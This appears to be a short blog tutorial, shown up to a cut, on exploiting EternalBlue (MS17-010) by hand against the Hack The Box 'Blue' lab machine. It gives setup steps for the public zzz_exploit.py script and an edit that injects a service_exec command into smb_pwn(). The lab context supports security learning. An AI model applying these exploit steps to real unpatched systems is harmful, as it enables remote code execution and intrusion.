Skip to main content

Manually Exploiting Eternal Blue

This is a small post about how one can exploit Eternal Blue without using metasploit. Here, I have used Hack The Box Blue as an Example Requirements Download the mysmb.py and zzz_exploit.py files from : MS17-010 Github Install pyenv and install a version of python2. You can get the installation instructions from anywhere. Follow the GitHub Page of pyenv Then you need to install impacket in the pyenv version of python2 sudo pyenv exec pip install impacket Making Changes to the code You can add some test username and password, if there is any problem while connecting to the client Now search for the function smb_pwn() Go to the function definition and add the following line service_exec(conn, r'cmd /c ping 10.